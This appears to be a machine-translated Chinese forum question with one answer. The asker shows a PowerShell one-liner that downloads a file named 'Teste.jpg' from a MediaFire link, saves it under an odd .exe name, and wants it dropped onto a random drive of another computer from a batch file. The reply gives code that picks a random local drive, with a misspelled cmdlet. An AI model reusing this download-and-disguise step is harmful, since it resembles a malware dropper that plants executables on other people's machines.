正如标题所说,我想找一个随机的本地驱动器并下载驱动器中的一些文件。
嗯,这就是我的实际路线:
powershell.exe -Command "& {if($PSversionTable.PSVersion.Major -ge 3) {Invoke-WebRequest http://download1475.mediafire.com/dgmccvd5felg/cu6x9bzhx3hmz78/Teste.jpg -OutFile atf3@~~.exe}}"
正如您所看到的,我已经有了下载文件的方法,但我希望这些文件可以在这个随机驱动器中下载,我需要一些帮助。
它会在另一台计算机上发生,所以我没有如何对本地驱动器一无所知,所以请为任何情况准备这个脚本,我需要该脚本在一个批处理文件中运行。
答案 0 :(得分:2)
您可以选择随机本地驱动器并将工作目录更改为其根文件夹,如下所示:
$root = (Get-WmiObject Win32_Volume -Filter 'DriveType=3 AND NOT DriveLetter IS NULL' | Get-Random).DriveLetter + '\'
Set-Loction $root